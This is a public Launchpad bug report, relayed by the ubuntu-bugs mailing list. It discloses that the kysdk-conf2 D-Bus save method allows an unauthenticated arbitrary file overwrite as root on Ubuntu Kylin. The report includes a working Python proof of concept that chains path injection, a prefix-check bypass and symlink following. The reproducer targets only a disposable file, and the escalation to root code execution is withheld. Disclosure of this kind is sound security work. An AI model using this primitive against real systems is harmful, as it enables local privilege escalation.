Public bug reported:
Summary
=======
The system-wide kysdk-conf2 D-Bus service runs as root, and its D-Bus policy
allows
any local user to invoke com.kylin.kysdk.conf2 methods. The save(user, path)
method
does not authenticate or authorize its caller before exporting a configuration
database to YAML files as root.
The following weaknesses can be combined:
1. The D-Bus policy allows unprivileged local callers, while save() ignores its
sender argument and performs no authorization check.
2. The caller-controlled user string is concatenated into
/home/{user}/.config/kylin-config/user.db. A value containing a slash
therefore
lets an attacker make the root service read a database prepared in an
arbitrary
attacker-controlled subdirectory.
3. The destination check uses string prefixes such as startswith('/home')
without
canonicalizing the path. Parent-directory components can bypass the intended
directory restriction.
4. Output names are derived from attacker-controlled database keys, and files
are
opened with open(..., 'w'). The open follows a pre-existing symbolic link, so
an attacker can redirect the root write to a caller-selected file despite the
forced .yaml suffix.
5. The attacker controls YAML values written by the service, providing
sufficient
content control to turn the arbitrary root file overwrite into code
execution.
The original reproduction confirmed that a local uid 1000 user with no sudo or
root credentials could use this chain to obtain euid 0. The weaponized final
stage
is not included in this public report.
Test environment
================
* Ubuntu Kylin based on Ubuntu 26.04, UKUI desktop
* libkysdk-base 3.0.1.2-0ubuntu1
* amd64 virtual machine, 4 vCPUs and 4 GiB RAM
* Linux kernel 7.0.0
* Unprivileged user test, uid 1000, with no sudo or root credentials
* Distribution-provided python3 and python3-dbus
Steps to reproduce safely
=========================
Use only a disposable test file. First, an administrator creates a root-owned
file
that is safe to overwrite:
sudo sh -c 'printf "original test content\n" >
/var/tmp/kysdk-conf2-root-target'
sudo chown root:root /var/tmp/kysdk-conf2-root-target
sudo chmod 0644 /var/tmp/kysdk-conf2-root-target
As the unprivileged test user, confirm that a direct write fails:
printf 'unprivileged write\n' > /var/tmp/kysdk-conf2-root-target
# Expected from the shell: Permission denied
Still as the unprivileged test user, run this non-destructive reproducer. It
writes
only to the disposable target created above:
python3 - <<'PY'
import os
import shutil
import sqlite3
import dbus
username = os.environ["USER"]
base = f"/home/{username}/kysdk-conf2-proof"
dbdir = f"{base}/.config/kylin-config"
target = "/var/tmp/kysdk-conf2-root-target"
shutil.rmtree(base, ignore_errors=True)
os.makedirs(dbdir)
connection = sqlite3.connect(f"{dbdir}/user.db")
cursor = connection.cursor()
cursor.execute("CREATE TABLE app(id INTEGER, app_name TEXT, default_version
TEXT)")
cursor.execute("CREATE TABLE version(id INTEGER, app_id INTEGER, version
TEXT, compatible TEXT)")
cursor.execute(
"CREATE TABLE configures("
"id INTEGER, version_id INTEGER, node_name TEXT, node_type TEXT, "
"permission TEXT, description TEXT, summary TEXT, parent INTEGER, "
"value_type TEXT, custom_value TEXT, default_value TEXT, range TEXT, "
"extends TEXT)"
)
cursor.execute("INSERT INTO app VALUES (1, 'proof', NULL)")
cursor.execute("INSERT INTO version VALUES (1, 1, '1.0', NULL)")
cursor.execute(
"INSERT INTO configures VALUES "
"(1, 1, 'value', 'key', NULL, NULL, NULL, 0, NULL, ?, NULL, NULL,
NULL)",
("SAFE_TEST_VALUE",),
)
connection.commit()
connection.close()
os.symlink(target, f"{base}/proof.yaml")
bus = dbus.SystemBus()
obj = bus.get_object(
"com.kylin.kysdk.conf2",
"/com/kylin/kysdk/conf2",
introspect=False,
)
conf2 = dbus.Interface(obj, "com.kylin.kysdk.conf2")
print(conf2.save(f"{username}/kysdk-conf2-proof", base))
PY
Inspect the disposable root-owned target:
ls -l /var/tmp/kysdk-conf2-root-target
cat /var/tmp/kysdk-conf2-root-target
Clean up after collecting the output:
rm -rf "$HOME/kysdk-conf2-proof"
sudo rm -f /var/tmp/kysdk-conf2-root-target
Actual result
=============
The save() call succeeds. The root-owned target retains root ownership but its
contents are replaced with YAML generated from the unprivileged user's database.
The same user cannot write to that target directly.
This proves that an unprivileged local caller can make the root service
overwrite
a caller-selected file with attacker-influenced content. The original full proof
of concept used a security-sensitive system file to turn this primitive into
root
code execution; those details are intentionally omitted here.
Expected result
===============
The service must reject an unauthorized caller. A caller must not be able to
select
another user's configuration database, escape the permitted export directory, or
redirect a privileged write through a symbolic link.
** Affects: libkysdk-base (Ubuntu)
Importance: Undecided
Status: New
--
You received this bug notification because you are a member of Ubuntu
Bugs, which is subscribed to Ubuntu.
https://bugs.launchpad.net/bugs/2160487
Title:
kysdk-conf2 D-Bus save method allows unauthenticated arbitrary file
overwrite as root
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/libkysdk-base/+bug/2160487/+subscriptions
--
ubuntu-bugs mailing list
[email protected]
https://lists.ubuntu.com/mailman/listinfo/ubuntu-bugs